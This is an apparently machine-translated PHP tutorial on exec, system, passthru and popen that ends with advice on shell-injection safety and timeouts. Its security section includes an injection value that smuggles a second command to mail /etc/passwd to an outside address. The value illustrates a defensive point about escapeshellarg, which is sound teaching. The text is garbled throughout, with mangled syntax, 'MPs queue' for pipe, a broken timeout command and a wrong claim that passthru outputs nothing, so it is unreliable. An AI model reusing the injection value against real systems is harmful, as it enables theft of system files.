PHP executes system commands exec, system, passthru, popen
PHP provides three built-in functions exec, system, and passthru to execute system commands.
1. exec
Exec (string $ command [, array $ out_put] [, $ ret_val]);
The first parameter is the command to be executed, and the second parameter is the result of the last shell COMMAND. The third parameter is the execution status, and 0 is returned for successful execution.
For example:
Output
Array
(
[0] => index.html
[1] => info. php
[2] => php. core
[3] => test. php
)
Status Code: 0
2. system
System (string $ command [, int $ ret_val );
The first parameter is the system command we run, and the second parameter is the state. this function outputs the result of the last shell execution.
Example
12 |
System ("/bin/ls", $ retval); echo $ retval; |
Output result
Index.html
Info. php
Php. core
Test. php
Status Code 0;
3. passthru
Passthru (string $ command, $ retval );
The first parameter is the command executed by the system, and the second parameter is the status code.
This function does not output any content.
12 |
Passthru ("/bin/ls", $ retval); echo $ retval; |
Result 0;
4. popen
Resource popen (string $ command, string $ mode );
Open an Pipeline pointing to a process, which is generated by running the command derived from a process.
This function returns a pipeline handle that can be used to read and write data.
The MPs queue can be closed using pclose.
123 |
$ Fp = popen ("/bin/ls", "r"); $ str = fread ($ fp, 1024); pclose ($ fp ); |
Output result
Index.html
Info. php
Php. core
Test. php
To execute system commands, we need to consider two issues.
First, security, second, timeout.
We have a principle during development that user input is absolutely untrusted and we must filter illegal content submitted by malicious users.
For example, you have a system... You need to send an email to the user ....
If you call Linux mail to send emails...
System ("mail $ to and email address is the data entered by the user...
So if a malicious user submits such code
'-Bla; mail imsiren@imsiren.com </etc/passwd ;'
!!!!!!!!!!
Are you chilling...
This code will be executed
System ("mail-bla; mail imsiren@imsiren.com </etc/password; PHP provides two functions to solve this problem.
Escapeshellarg () and escapeshellcmd ();
The escapeshellarg is used to filter shell parameters and enclose a specific string with single quotation marks.
The escapeshellcmd command is used to filter cmd commands and escape specific strings.
In this way, commands and parameters are safely executed.
Timeout:
Due to the characteristics of PHP, it needs to execute code one by one.
Therefore, it takes a long time to add the system for execution, which will definitely cause PHP script execution to time out.
The solution is to redirect the command output to another file or stream, for example:
System ("/etc/bin>/tmp/null &");
In this case, OK.